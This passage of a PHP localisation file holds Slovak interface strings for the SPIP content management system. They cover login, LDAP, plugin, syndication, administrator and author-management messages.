'entree_contenu_rubrique' => '(Stručný obsah tejto rubriky.)',
'entree_identifiants_connexion' => 'Vaše prihlasovacie údaje...',
'entree_identifiants_connexion_2' => 'Prihlasovacie údaje',
'entree_informations_connexion_ldap' => 'Do tohto formulára, prosím, uveďte údaje na pripojenie k LDAP, ktoré vám poskytol správca systému alebo siete.',
'entree_infos_perso' => 'Kto ste?',
'entree_infos_perso_2' => 'Kto je autor?',
'entree_interieur_rubrique' => 'V rubrike:',
'entree_liens_sites' => '<b>Hypertextový odkaz</b> (odkaz, stránka, ktorú treba navštíviť...)',
'entree_login' => 'Prihlasovacie meno',
'entree_login_connexion_1' => 'Prihlasovacie meno',
'entree_login_connexion_2' => '(Niekedy sa zhoduje s prihlasovacím menom na účet FTP a niekedy sa nevypĺňa)',
'entree_login_ldap' => 'Prvé prihlásenie cez LDAP',
'entree_mot_passe' => 'Vaše heslo',
'entree_mot_passe_1' => 'Heslo',
'entree_mot_passe_2' => '(Niekedy sa zhoduje s prístupovým heslom na FTP a niekedy sa nevypĺňa)',
'entree_nom_fichier' => 'Prosím, zadajte názov súboru @texte_compresse@:',
'entree_nom_pseudo' => 'Vaše meno alebo prezývka',
'entree_nom_pseudo_1' => '(Vaše meno alebo prezývka)',
'entree_nom_pseudo_2' => 'Meno alebo prezývka',
'entree_nom_site' => 'Názov vašej stránky',
'entree_nom_site_2' => 'Názov stránky autora',
'entree_nouveau_passe' => 'Nové heslo',
'entree_passe_ldap' => 'Heslo',
'entree_port_annuaire' => 'Číslo portu priečinka',
'entree_signature' => 'Podpis',
'entree_titre_obligatoire' => '<b>Titulok</b> [Povinné]<br />',
'entree_url' => 'Adresa vašej stránky',
'entree_url_2' => 'Adresa stránky (URL)',
'erreur_connect_deja_existant' => 'Server s týmto názvom už existuje',
'erreur_nom_connect_incorrect' => 'Nepovolený názov servera',
'erreur_plugin_desinstalation_echouee' => 'Odinštalovanie zásuvného modulu sa nepodarilo. Môžete ho však deaktivovať.',
'erreur_plugin_fichier_absent' => 'Súbor chýba',
'erreur_plugin_fichier_def_absent' => 'Chýba definičný súbor',
'erreur_plugin_nom_fonction_interdit' => 'Zakázaný názov funkcie',
'erreur_plugin_nom_manquant' => 'Chýba názov zásuvného modulu',
'erreur_plugin_prefix_manquant' => 'Oblasť názvu zásuvného modulu neurčená',
'erreur_plugin_tag_plugin_absent' => '<zásuvný modul> chýba v definičnom súbore',
'erreur_plugin_version_manquant' => 'Chýba verzia zásuvného modulu',
// H
'htaccess_a_simuler' => 'Varovanie: nastavenie vášho HTTP servera ignoruje súbory @htaccess@. Aby sme mohli zabezpečiť kvalitu služby, mali by ste ich v tomto zmeniť. Prípadne sa môžete ubezpečiť, či konštanty @constantes@ (dajú sa zadať v súbore mes_options.php) majú nastavené priečinky s hodnotami mimo priečinka @document_root@.',
'htaccess_inoperant' => 'nefunkčný htaccess',
// I
'ical_info1' => 'Na tejto stránke sa dozviete o niekoľkých spôsoboch, ako sledovať aktivitu stránky.',
'ical_info2' => 'Pre viac informácii neváhajte siahnuť po <a href="@spipnet@">dokumentácii k SPIPu.</a>',
'ical_info_calendrier' => 'K dispozícii máte dva kalendáre. Prvý je mapa stránky, kde sú uvedené všetky publikované články. V druhom nájdete oznamy z redakcie, ako aj najnovšie súkromné odkazy: je pre vás vyhradený cez osobný kľúč, ktorý môžete kedykoľvek upraviť tak, že si zmeníte heslo.',
'ical_methode_http' => 'Stiahnuť',
'ical_methode_webcal' => 'Synchronizovať (webcal://)',
'ical_texte_js' => 'Riadok javascriptu vám umožní zobraziť najnovšie publikované články z tejto stránky na hocijakej inej vašej stránke.',
'ical_texte_prive' => 'Tento kalendár, ktorý je striktne osobný, vás poinformuje o vašej redakčnej činnosti na tejto stránke (úlohy, osobné stretnutia, odoslané články a novinky, atď.).',
'ical_texte_public' => 'Tento kalendár vám umožní sledovať publikačnú činnosť tejto stránky (najnovšie publikované články a novinky).',
'ical_texte_rss' => 'Najnovšie správy z tejto stránky môžete sprostredkovať všetkým čítačkám kanálov XML/RSS. To je formát, ktorý aj SPIPu umožňuje čítať najnovšie správy publikované na iných (syndikovaných) stránkach pomocou kompatibilného formátu na výmenu informácií.',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Elektronická konferencia',
'ical_titre_rss' => 'Syndikačné súbory',
'icone_accueil' => 'Úvodná stránka',
'icone_activer_cookie' => 'Aktivovať svoju cookie',
'icone_activite' => 'Aktivita',
'icone_admin_plugin' => 'Riadiť zásuvné moduly',
'icone_administration' => 'Údržba',
'icone_afficher_auteurs' => 'Zobraziť autorov',
'icone_afficher_visiteurs' => 'Zobraziť návštevníkov',
'icone_arret_discussion' => 'Skončiť účasť v tejto diskusii',
'icone_calendrier' => 'Kalendár',
'icone_configuration' => 'Konfigurácia',
'icone_creer_auteur' => 'Zapísať nového autora a priradiť ho k tomuto článku',
'icone_creer_mot_cle' => 'Vytvoriť nové kľúčové slovo a priradiť ho k tomuto článku',
'icone_creer_mot_cle_rubrique' => 'Vytvoriť nové kľúčové slovo a pripojiť ho k tejto rubrike',
'icone_creer_mot_cle_site' => 'Vytvoriť nové kľúčové slovo a priradiť ho k tejto stránke',
'icone_creer_rubrique_2' => 'Vytvoriť novú rubriku',
'icone_edition' => 'Upraviť',
'icone_envoyer_message' => 'Poslať túto správu',
'icone_ma_langue' => 'Môj jazyk',
'icone_mes_infos' => 'Moje údaje',
'icone_mes_preferences' => 'Moje predvoľby',
'icone_modifier_article' => 'Upraviť tento článok',
'icone_modifier_message' => 'Upraviť túto správu',
'icone_modifier_rubrique' => 'Upraviť túto rubriku',
'icone_publication' => 'Publikovanie',
'icone_relancer_signataire' => 'Znova začať podpisovanie',
'icone_retour' => 'Späť',
'icone_retour_article' => 'Späť na článok',
'icone_squelette' => 'Šablóny',
'icone_suivi_publication' => 'Sledovanie publikovania',
'icone_supprimer_cookie' => 'Odstrániť svoju cookie',
'icone_supprimer_rubrique' => 'Odstrániť túto rubriku',
'icone_supprimer_signature' => 'Odstrániť tento podpis',
'icone_valider_signature' => 'Potvrdiť tento podpis',
'image_administrer_rubrique' => 'Môžete riadiť túto rubriku',
'impossible_modifier_login_auteur' => 'Prihlasovacie meno sa nedá zmeniť.',
'impossible_modifier_pass_auteur' => 'Heslo sa nedá zmeniť.',
'info_1_article' => '1 článok',
'info_1_article_syndique' => '1 syndikovaný článok',
'info_1_auteur' => '1 autor',
'info_1_message' => '1 správa',
'info_1_mot_cle' => '1 kľúčové slovo',
'info_1_rubrique' => '1 rubrika',
'info_1_site' => '1 stránka',
'info_1_visiteur' => '1 návštevník',
'info_activer_cookie' => 'Môžete aktivovať <b>svoju cookie,</b> ktorá vám umožní
jednoducho prechádzať medzi verejne prístupnou stránkou a súkromnou zónou.',
'info_admin_etre_webmestre' => 'Prideliť mi práva administrátora webu',
'info_admin_gere_rubriques' => 'Tento administrátor riadi tieto rubriky:',
'info_admin_gere_toutes_rubriques' => 'Tento administrátor riadi <b>všetky rubriky</b>',
'info_admin_gere_toutes_rubriques_2' => 'Ja riadim <b>všetky rubriky</b>',
'info_admin_je_suis_webmestre' => 'Som <b>webmaster</b>',
'info_admin_statuer_webmestre' => 'Dať tomuto administrátorovi práva webmastera',
'info_admin_webmestre' => 'Tento administrátor je <b>webmaster</b>',
'info_administrateur' => 'Administrátor',
'info_administrateur_1' => 'Administrátor',
'info_administrateur_2' => 'stránky (<i>používajte opatrne</i>)',
'info_administrateur_site_01' => 'Ak ste administrátorom stránky, nechajte, prosím,',
'info_administrateur_site_02' => 'kliknite na tento odkaz',
'info_administrateurs' => 'Administrátori',
'info_administrer_rubrique' => 'Môžete riadiť túto rubriku',
'info_adresse' => 'na túto adresu:',
'info_adresse_url' => 'URL verejne prístupnej stránky',
'info_afficher_par_nb' => 'Zobraziť po',
'info_afficher_visites' => 'Zobraziť návštevy pre:',
'info_aide_en_ligne' => 'Online pomoc k SPIPu',
'info_ajout_image' => 'Ak obrázky pridáte k článku ako pripojené súbory,
SPIP môže z takto vložených obrázkov
automaticky vytvoriť miniatúry. To umožní napríklad
automaticky vytvoriť galériu alebo portfólio.',
'info_ajout_participant' => 'Boli pridaní títo účastníci:',
'info_ajouter_rubrique' => 'Pridať ďalšiu rubriku na riadenie:',
'info_annonce_nouveautes' => 'Posledné oznámenia o novinkách',
'info_anterieur' => 'Predchádzajúca',
'info_article' => 'článok',
'info_article_2' => 'články',
'info_article_a_paraitre' => 'Postdatované články nastavené na publikovanie',
'info_articles_02' => 'články',
'info_articles_2' => 'Články',
'info_articles_auteur' => 'Články tohto autora',
'info_articles_miens' => 'Moje články',
'info_articles_tous' => 'Všetky články',
'info_articles_trouves' => 'Nájdené články',
'info_articles_trouves_dans_texte' => 'Nájdené články (v texte)',
'info_attente_validation' => 'Vaše články, ktoré čakajú na schválenie',
'info_aucun_article' => 'Žiadne články',
'info_aucun_article_syndique' => 'Žiadne syndikované články',
'info_aucun_auteur' => 'Žiadni autori',
'info_aucun_message' => 'Žiadne správy',
'info_aucun_rubrique' => 'Žiadne rubriky',
'info_aucun_site' => 'Žiadne odkazy na stránky',
'info_aucun_visiteur' => 'Žiadni návštevníci',
'info_aujourdhui' => 'dnes:',
'info_auteur_message' => 'AUTOR SPRÁVY:',
'info_auteurs' => 'Autori',
'info_auteurs_par_tri' => 'Authori@partri@',
'info_auteurs_trouves' => 'Nájdení autori',
'info_authentification_externe' => 'Externé prihlásenie',
'info_avertissement' => 'Varovanie',
'info_barre_outils' => 's jeho panelom nástrojov?',
'info_base_installee' => 'Štruktúra vašej databázy bola nainštalovaná.',
'info_bio' => 'Životopis',
'info_cache_desactive' => 'Cache je dočasne vypnutá.',
'info_chapeau' => 'Perex',
'info_chapeau_2' => 'Perex:',
'info_chemin_acces_1' => 'Možnosti: <b>Prístupová cesta do priečinka</b>',
'info_chemin_acces_2' => 'Teraz musíte nastaviť prístupovú cestu k priečinku s údajmi. Tento údaj je dôležitý na čítanie vizitiek používateľov uložených v tomto priečinku.',
'info_chemin_acces_annuaire' => 'Možnosti: <b>Prístupová cesta do priečinka</b>',
'info_choix_base' => '3. krok:',
'info_classement_1' => '. do @liste@',
'info_classement_2' => '. do @liste@',
'info_code_acces' => 'Nezabudnite vlastné prístupové kódy!',
'info_compatibilite_html' => 'Štandard HTML, ktorý sa má použiť',
'info_compresseur_gzip' => 'Predtým sa odporúča skontrolovať, či poskytovateľ webhostingu systematicky komprimuje PHP skripty; na to môžete využiť napr. túto službu: @testgzip@',
'info_compresseur_texte' => 'Ak váš server nekomprimuje HTML stránky pred ich odoslaním, môžete sa pokúsiť nanútiť mu kompresiu, aby sa zmenšila veľkosť stránok. <b>Varovanie:</b> na niektorých serveroch to môže mať zjavný vedľajší efekt',
'info_config_suivi' => 'Ak táto adresa patrí elektronickej konferencii, môžete zadať registračnú adresu tejto konferencie. Môže to byť adresa stránky (napr. stránka, ktorá umožňuje prihlásenie online), alebo e-mailová adresa so špeciálnym predmetom (napr. <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Môžete sa prihlásiť do elektronickej konferencie tejto stránky. Mejlom budete dostávať oznamy o článkoch a novinkách odoslaných na publikovanie.',
'info_confirmer_passe' => 'Potvrďte nové heslo:',
'info_conflit_edition_avis_non_sauvegarde' => 'Pozor: tieto polia boli zmenené inde. Tieto vaše zmeny týchto polí preto neboli uložené.',
'info_conflit_edition_differences' => 'Rozdiely:',
'info_conflit_edition_version_enregistree' => 'Uložená verzia:',
'info_conflit_edition_votre_version' => 'Vaša verzia:',
'info_connexion_base' => 'Systém sa snaží pripojiť k databáze',
'info_connexion_base_donnee' => 'Pripojenie k databáze',
'info_connexion_ldap_ok' => 'Pripojenie k LDAP bolo úspešné.</b><p>Môžete prejsť na ďalší krok.</p>',
'info_connexion_mysql' => 'Pripojenie k SQL',
'info_connexion_ok' => 'Pripojenie úspešné.',
'info_contact' => 'Kontakt',
'info_contenu_articles' => 'Obsah článku',
'info_contributions' => 'Príspevky',
'info_creation_paragraphe' => 'Ak chcete urobiť odseky, jednoducho vynechajte niekoľko prázdnych riadkov.',
'info_creation_rubrique' => 'Predtým, ako napíšete nejaké články,<br /> musíte vytvoriť aspoň jednu rubriku.<br />',
'info_creation_tables' => 'Vytvárajú sa databázové tabuľky',
'info_creer_base' => '<b>Vytvoriť</b> novú databázu:',
'info_dans_rubrique' => 'V rubrike:',
'info_date_publication_anterieure' => 'Dátum predchádzajúceho publikovania:',
'info_date_referencement' => 'DÁTUM VYTVORENIA ODKAZU NA TÚTO STRÁNKU:',
'info_derniere_etape' => 'Hotovo!',
'info_derniers_articles_publies' => 'Vaše najnovšie publikované články',
'info_desactiver_messagerie_personnelle' => 'Odkazovač môžete na tejto stránke aktivovať alebo deaktivovať.',
'info_descriptif' => 'Opis:',
'info_desinstaller_plugin' => ' deaktivuje zásuvný modul a odstráni údaje',
'info_discussion_cours' => 'Aktuálne diskusie',
'info_ecrire_article' => 'Predtým, ako napíšete nejaké články, musíte vytvoriť aspoň jednu rubriku.',
'info_email_envoi' => 'E-mailová adresa odosielateľa (nepovinné)',
'info_email_envoi_txt' => 'Zadajte e-mailovú adresu odosielateľa, ktorá sa bude používať pri posielaní mejlov (podľa pôvodného nastavenia sa adresa príjemcu používa ako adresa odosielateľa):',
'info_email_webmestre' => 'E-mailová adresa webmastera',
'info_entrer_code_alphabet' => 'Zadajte kód znakovej sady, ktorá sa má použiť:',
'info_envoi_email_automatique' => 'Posielanie automatických e-mailov',
'info_envoyer_maintenant' => 'Poslať teraz',
'info_etape_suivante' => 'Prejsť na ďalší krok',
'info_etape_suivante_1' => 'Môžete pokračovať na ďalší krok.',
'info_etape_suivante_2' => 'Môžete prejsť na ďalší krok.',
'info_exceptions_proxy' => 'Výnimky pre proxy',
'info_exportation_base' => 'Exportovať databázu do súboru @archive@',
'info_facilite_suivi_activite' => 'Na uľahčenie monitorovania redakčnej aktivity stránky
môže SPIP e-mailom posielať oznamy
o požiadavkách na publikovanie a schválení článkov, napr. do elektronickej konferencie redaktorov.',
'info_fichiers_authent' => 'Autentifikačný súbor „.htpasswd“',
'info_forums_abo_invites' => 'Na vašej stránke sú diskusné fóra, ktoré vyžadujú registráciu. Návštevníci sa môžu zaregistrovať na verejne prístupnej stránke.',
'info_gauche_admin_effacer' => '<b>Na túto stránku majú prístup iba webmasteri.</b><p> Poskytuje prístup k rôznym funkciám údržby. Niektoré z nich si vyžadujú špeciálne prihlásenie cez FTP.</p>',
'info_gauche_admin_tech' => '<b>K tejto stránke majú prístup len webmasteri.</b><p> Poskytuje prístup k rôznym
funkciám údržby. Niektoré z nich si vyžadujú špeciálne prihlásenie
cez FTP.</p>',
'info_gauche_admin_vider' => '<b>Na túto stránku majú prístup iba webmasteri.</b><p> Poskytuje prístup
k rôznym funkciám údržby. Niektoré z nich si vyžadujú špeciálne prihlásenie
cez FTP.</p>',
'info_gauche_auteurs' => 'Tu nájdete všetkých autorov stránky.
Funkcia každého z nich je označená farbou ikony (administrátor = zelená, redaktor = žltá).',
'info_gauche_auteurs_exterieurs' => 'Externí autori bez prístupu na stránku sú označení modrou ikonou, odstránení autori sivou ikonou.',
'info_gauche_messagerie' => 'Odkazovač vám umožní posielať správy v rámci redakcie, ukladať si pripomienky (pre osobnú potrebu) alebo zobrazovať oznamy na úvodnej stránke súkromnej zóny (ak ste administrátor).',
'info_gauche_numero_auteur' => 'AUTOR ČÍSLO',
'info_gauche_statistiques_referers' => 'Na tejto stránke je zoznam <i>refererov,</i> t.j. stránok, na ktorých sú odkazy na vašu vlastnú stránku zo včerajška a dneška. Tento zoznam sa obnovuje každých 24 hodín.',
'info_gauche_visiteurs_enregistres' => 'tu nájdete návštevníkov zaregistrovaných v súkromnej zóne stránky (diskusné fóra vyžadujúce registráciu).',
'info_generation_miniatures_images' => 'Generovanie obrázkov miniatúr',
'info_gerer_trad' => 'Povoliť odkazy na preklady?',
'info_gerer_trad_objets' => '@objets@: riadiť odkazy na preklady',
'info_hebergeur_desactiver_envoi_email' => 'Niektorí poskytovatelia webhostingu deaktivujú posielanie automatických e-mailov
na svojich serveroch. V takom prípade sa tieto funkcie
SPIPu nedajú zaviesť.',
'info_hier' => 'včera:',
'info_historique_activer' => 'Povoliť sledovanie opráv',
'info_historique_affiche' => 'Zobraziť túto verziu',
'info_historique_comparaison' => 'Porovnať',
'info_historique_desactiver' => 'Deaktivovať sledovanie opráv',
'info_historique_texte' => 'Sledovanie opráv vám umožňuje vidieť zmeny vykonané v článku a rozdiely medzi verziami, ktoré nasledujú za sebou.',
'info_identification_publique' => 'Vaša verejná identita...',
'info_image_process' => 'Kliknutím na príslušný obrázok si vyberte najlepší spôsob vytvorenia miniatúr.',
'info_image_process2' => 'Ak nevidíte žiadne obrázky, potom váš server nie je na používanie takýchto nástrojov nastavený. Ak chcete využívať takéto funkcie, kontaktujte technickú podporu svojho poskytovateľa a požiadajte o nainštalovanie rozšírení GD alebo Imagick.',
'info_images_auto' => 'Obrázky sa obnovia automaticky',
'info_informations_personnelles' => 'Osobné údaje',
'info_inscription' => 'Registrácia',
'info_inscription_automatique' => 'Automatická registrácia nových redaktorov',
'info_jeu_caractere' => 'Znaková sada stránky',
'info_jours' => 'dní',
'info_laisser_champs_vides' => 'tieto polia nechajte prázdne)',
'info_langues' => 'Jazyky stránky',
'info_ldap_ok' => 'Autentifikácia cez LDAP je nainštalovaná.',
'info_lien_hypertexte' => 'Hypertextový odkaz:',
'info_liste_nouveautes_envoyee' => 'Zoznam noviniek bol odoslaný',
'info_liste_redacteurs_connectes' => 'Zoznam redaktorov online',
'info_login_existant' => 'Toto prihlasovacie meno už existuje.',
'info_login_trop_court' => 'Prihlasovacie meno je príliš krátke.',
'info_login_trop_court_car_pluriel' => 'Prihlasovacie meno musí mať aspoň @nb@ znakov.',
'info_logos' => 'Logá',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'V tejto rubrike',
'info_message' => 'Správa od',
'info_message_efface' => 'PRÍSPEVOK ODSTRÁNENÝ',
'info_message_en_redaction' => 'Vaše koncepty',
'info_message_technique' => 'Technický odkaz:',
'info_messagerie_interne' => 'Interný odkazovač',
'info_mise_a_niveau_base' => 'Upgrade databázy SQL',
'info_mise_a_niveau_base_2' => '{{Pozor!}} Nainštalovali ste
súbory SPIPu, ktoré sú {staršie} ako tie,
ktoré boli na tejto stránke nainštalované predtým: hrozí riziko, že vaša databáza sa stratí
a vaša stránka už viac nebude fungovať správne.<br />{{Preinštalute
súbory SPIPu.}}',
'info_modification_enregistree' => 'Vaše zmeny boli uložené',
'info_modifier_auteur' => 'Upraviť údaje o autorovi:',
'info_modifier_rubrique' => 'Upraviť rubriku:',
'info_modifier_titre' => 'Upraviť: @titre@',
'info_mon_site_spip' => 'Moja stránka',
'info_mot_sans_groupe' => '(Kľúčové slová bez skupiny...)',
'info_moteur_recherche' => 'Integrovaný vyhľadávač',
'info_moyenne' => 'priemer:',
'info_multi_articles' => 'Povoliť jazykové menu pre články?',
'info_multi_cet_article' => 'Jazyk tohto článku:',
'info_multi_langues_choisies' => 'Prosím, vyberte jazyky, ktoré majú byť dostupné pre redaktorov vašej stránky.
Jazyky, ktoré sa už na vašej stránke používajú (v hornej časti zoznamu), sa nedajú deaktivovať.',
'info_multi_objets' => '@objets@: aktivovať menu pre jazyky',
'info_multi_rubriques' => 'Povoliť jazykové menu pre rubriky?',
'info_multi_secteurs' => '... iba pre rubriky v koreňovom adresári?',
'info_nb_articles' => 'Článkov: @nb@ ',
'info_nb_articles_syndiques' => 'syndikovaných článkov: @nb@',
'info_nb_auteurs' => 'autorov: @nb@ ',
'info_nb_messages' => 'správ: @nb@',
'info_nb_mots_cles' => 'kľúčových slov: @nb@',
'info_nb_rubriques' => 'rubrík: @nb@',
'info_nb_sites' => 'stránok: @nb@ ',
'info_nb_visiteurs' => 'návštevníkov: @nb@',
'info_nom' => 'Meno',
'info_nom_destinataire' => 'Meno príjemcu',
'info_nom_pas_conforme' => 'tagy html nie sú povolené',
'info_nom_site' => 'Názov vašej stránky',
'info_nombre_articles' => 'článkov: @nb_articles@,',
'info_nombre_partcipants' => 'ÚČASTNÍCI TEJTO DISKUSIE:',
'info_nombre_rubriques' => '@nb_rubriques@ rubrík,',
'info_nombre_sites' => '@nb_sites@ stránok,',
'info_non_deplacer' => 'Nepresúvať...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP môže posielať bulletin stránky (zoznam najnovších publikovaných článkov a noviniek).',
'info_non_envoi_liste_nouveautes' => 'Neposielať bulletin',
'info_non_modifiable' => 'nedá sa zmeniť',
'info_non_suppression_mot_cle' => 'Nechcem odstrániť toto kľúčové slovo.',
'info_note_numero' => 'Poznámka @numero@',
'info_notes' => 'Poznámky',
'info_nouveaux_message' => 'Nové správy',
'info_nouvel_article' => 'Nový článok',
'info_nouvelle_traduction' => 'Nový preklad:',
'info_numero_article' => 'ČLÁNOK ČÍSLO:',
'info_obligatoire_02' => ' (povinné)',
'info_option_accepter_visiteurs' => 'Povoliť registráciu návštevníkov cez verejne prístupnú stránku',
'info_option_faire_suivre' => 'Posielať príspevky z diskusného fóra autorom článkov',
'info_option_ne_pas_accepter_visiteurs' => 'Deaktivovať registráciu návštevníkov',
'info_options_avancees' => 'ROZŠÍRENÉ MOŽNOSTI',
'info_ortho_activer' => 'Povoliť kontrolu preklepov.',
'info_ortho_desactiver' => 'Deaktivovať kontrolu preklepov.',
'info_ou' => 'alebo...',
'info_page_interdite' => 'Zakázaná stránka',
'info_par_nom' => 'podľa mena',
'info_par_nombre_article' => 'podľa počtu článkov',
'info_par_statut' => 'podľa funkcie',
'info_par_tri' => '„(podľa @tri@)“',
'info_passe_trop_court' => 'Heslo je príliš krátke.',
'info_passe_trop_court_car_pluriel' => 'Heslo musí mať aspoň @nb@ znakov.',
'info_passes_identiques' => 'Tieto dve heslá sa nezhodujú.',
'info_pense_bete_ancien' => 'Vaše staré pripomienky',
'info_plus_cinq_car' => 'viac ako 5 znakov',
'info_plus_cinq_car_2' => '(Viac ako 5 znakov)',
'info_plus_trois_car' => '(Viac ako 3 znaky)',
'info_popularite' => 'popularita: @popularite@; návštev: @visites@',
'info_popularite_4' => 'popularita: @popularite@, návštev: @visites@',
'info_post_scriptum' => 'Post scriptum',
'info_post_scriptum_2' => 'Post scriptum:',
'info_pour' => 'pre',
'info_preview_admin' => 'K režimu ukážky majú prístup iba administrátori',
'info_preview_comite' => 'K režimu ukážky majú prístup všetci autori',
'info_preview_desactive' => 'Režim ukážky je deaktivovaný',
'info_preview_texte' => 'Stránka sa dá prezrieť tak, akoby už všetky články a novinky, (ktoré boli aspoň „odoslané“) boli publikované. Má byť tento režim ukážky vyhradený pre administrátorov, otvorený pre všetkých autorov, alebo úplne deaktivovaný?',
'info_principaux_correspondants' => 'Vaši hlavní spoludiskutujúci',
'info_procedez_par_etape' => 'prosím, postupujte krok za krokom',
'info_procedure_maj_version' => 'Na prispôsobenie databázy SPIPu novej verzii sa musí spustiť upgrade.',
'info_proxy_ok' => 'Test proxy úspešný.',
'info_ps' => 'P.S.',
'info_publier' => 'Publikovať',
'info_publies' => 'Vaše články publikované online',
'info_question_accepter_visiteurs' => 'Ak šablóna vašej stránky umožňuje návštevníkom zaregistrovať sa bez vstupu do súkromnej zóny, prosím, aktivujte túto možnosť:',
'info_question_inscription_nouveaux_redacteurs' => 'Chcete povoliť novým redaktorom registráciu
cez verejne prístupnú stránku? Ak s tým súhlasíte, návštevníci sa budú môcť zaregistrovať pomocou automatického formulára a potom mať prístup do súkromnej zóny
a písať vlastné články. <div>Počas registrácie
dostanú používatelia automatický e-mail,
ktorý im poskytne prístupový kód do súkromnej zóny.
Niektorí poskytovatelia webhostingu zakazujú posielanie e-mailov zo svojich serverov. V takom prípade sa automatická registrácia nedá zaviesť.</div>',
'info_question_utilisation_moteur_recherche' => 'Chcete využívať vyhľadávač integrovaný v SPIPe?
(Jeho vypnutie zvýši výkon systému.)',
'info_question_vignettes_referer_non' => 'Nezobrazovať obrázky odkazujúcich stránok',
'info_qui_edite' => '@nom_auteur_modif@ pracoval(a) na tomto texte @date_diff@ minút(y)',
'info_racine_site' => 'Koreňový adresár stránky',
'info_recharger_page' => 'Prosím, počkajte chvíľu a potom spustite túto stránku znova.',
'info_recherche_auteur_a_affiner' => 'Priveľa výsledkov pre "@cherche_auteur@", prosím, upresnite svoje vyhľadávanie.',
'info_recherche_auteur_ok' => 'K reťazcu "@cherche_auteur@" sa našlo niekoľko redaktorov:',
'info_recherche_auteur_zero' => 'Žiadne výsledky pre „@cherche_auteur@“.',
'info_recommencer' => 'Prosím, skúste to znova.',
'info_redacteur_1' => 'Redaktor',
'info_redacteur_2' => 's prístupom do súkromnej zóny (<i>odporúča sa</i>)',
'info_redacteurs' => 'Redaktori',
'info_redaction_en_cours' => 'UPRAVUJE SA',
'info_redirection' => 'Presmerovanie',
'info_redirection_activee' => 'Presmerovanie je aktivované.',
'info_redirection_desactivee' => 'Presmerovanie bolo odstránené.',
'info_refuses' => 'Vaše zamietnuté články',
'info_reglage_ldap' => 'Možnosti: <b>Prispôsobenie importu LDAP</b>',
'info_renvoi_article' => '<b>Presmerovanie.</b> Tento článok vás presmeruje na:',
'info_reserve_admin' => 'Túto adresu môžu zmeniť iba administrátori.',
'info_restreindre_rubrique' => 'Obmedziť riadenie na rubriku:',
'info_resultat_recherche' => 'Výsledky vyhľadávania:',
'info_rubriques' => 'Rubriky',
'info_rubriques_02' => 'rubriky',
'info_rubriques_trouvees' => 'Nájdené rubriky',
'info_rubriques_trouvees_dans_texte' => 'Nájdené rubriky (v texte)',
'info_sans_titre' => 'Bez titulku',
'info_selection_chemin_acces' => '<b>Vyberte</b> prístupovú cestu do priečinka:',
'info_signatures' => 'podpisy',
'info_site' => 'Stránka',
'info_site_2' => 'stránka:',
'info_site_min' => 'stránka',
'info_site_reference_2' => 'Odkazované stránky',
'info_site_web' => 'Webová stránka:',
'info_sites' => 'stránky',
'info_sites_lies_mot' => 'Odkazované stránky s týmto kľúčovým slovom',
'info_sites_proxy' => 'Pomocou proxy',
'info_sites_trouves' => 'Nájdené stránky',
'info_sites_trouves_dans_texte' => 'Nájdené stránky (v texte)',
'info_sous_titre' => 'Podtitulok:',
'info_statut_administrateur' => 'Administrátor',
'info_statut_auteur' => 'Funkcia tohto autora:',
'info_statut_auteur_2' => 'Som',
'info_statut_auteur_a_confirmer' => 'Registrácia na potvrdenie',
'info_statut_auteur_autre' => 'Iná funkcia:',
'info_statut_efface' => 'Odstránené',
'info_statut_redacteur' => 'Redaktor',
'info_statut_utilisateurs_1' => 'Predvolená funkcia importovaných používateľov',
'info_statut_utilisateurs_2' => 'Vyberte funkciu, ktorá sa má priradiť ľuďom v priečinku LDAP, keď sa pripoja prvýkrát. Túto hodnotu môžete neskôr zmeniť pre každého jedného autora.',
'info_suivi_activite' => 'Sledovať redakčnú činnosť',
'info_surtitre' => 'Nadtitulok:',
'info_syndication_integrale_1' => 'Vaša stránka ponúka syndikačné súbory (pozri <a href="@url@">@titre@</a>).',
'info_syndication_integrale_2' => 'Chcete posielať celé články alebo len zhrnutie na niekoľko sto znakov?',
'info_table_prefix' => 'Je možné zmeniť predponu názvov databázových tabuliek. (Treba to urobiť, ak inštalujete niekoľko stránok do rovnakej databázy.) Predpona musí byť napísaná malými písmenami bez diakritiky a bez medzier.',
'info_taille_maximale_images' => 'SPIP sa chystá otestovať, akú maximálnu veľkosť obrázka (v miliónoch pixelov) dokáže spracovať.<br /> Väčšie obrázky sa nebudú zmenšovať.',
'info_taille_maximale_vignette' => 'Maximálna veľkosť miniatúr vygenerovaných systémom:',
'info_terminer_installation' => 'Teraz môžete ukončiť proces štandardnej inštalácie.',
'info_texte' => 'Text',
'info_texte_explicatif' => 'Vysvetlivka',
'info_texte_long' => '(Text je dlhý: zobrazí sa v niekoľkých častiach, ktoré sa po potvrdení opäť spoja.)',
'info_texte_message' => 'Text vašej správy',
'info_texte_message_02' => 'Text správy',
'info_titre' => 'Titulok:',
'info_total' => 'Celkom:',
'info_tous_articles_en_redaction' => 'Všetky články, ktoré sa upravujú',
'info_tous_articles_presents' => 'Všetky články publikované v tejto rubrike',
'info_tous_articles_refuses' => 'Všetky zamietnuté články',
'info_tous_les' => 'každých:',
'info_tous_redacteurs' => 'Oznamy všetkým redaktorom',
'info_tout_site' => 'Celá stránka',
'info_tout_site2' => 'Článok nebol preložený do tohto jazyka.',
'info_tout_site3' => 'Článok bol preložený do tohto jazyka, ale odvtedy sa zmenil článok, na ktorý tento článok odkazuje. Preklad preto treba aktualizovať.',
'info_tout_site4' => 'Článok bol preložený do tohto jazyka a jeho preklad je aktuálny.',
'info_tout_site5' => 'Pôvodný článok.',
'info_tout_site6' => '<b>Upozornenie:</b> zobrazené sú len pôvodné články.
Preklady sú pripojené k originálu
a stav ich spracovania je označený farbou:',
'info_traductions' => 'Preklady',
'info_travail_colaboratif' => 'Kolektívna práca na článkoch',
'info_un_article' => 'článok,',
'info_un_site' => 'stránka,',
'info_une_rubrique' => 'rubrika,',
'info_une_rubrique_02' => '1 rubrika',
'info_url' => 'URL:',
'info_url_proxy' => 'Adresa proxy',
'info_url_site' => 'ADRESA STRÁNKY:',
'info_url_site_pas_conforme' => 'Adresa stránky nie je platná.',
'info_url_test_proxy' => 'Otestovať URL',
'info_urlref' => 'Hypertextový odkaz:',
'info_utilisation_spip' => 'SPIP je teraz pripravený na používanie',
'info_visites_par_mois' => 'Mesačné zobrazenie:',
'info_visiteur_1' => 'Návštevník',
'info_visiteur_2' => 'na verejne prístupnú stránku',
'info_visiteurs' => 'Návštevníci',
'info_visiteurs_02' => 'Návštevníci verejne prístupnej stránky',
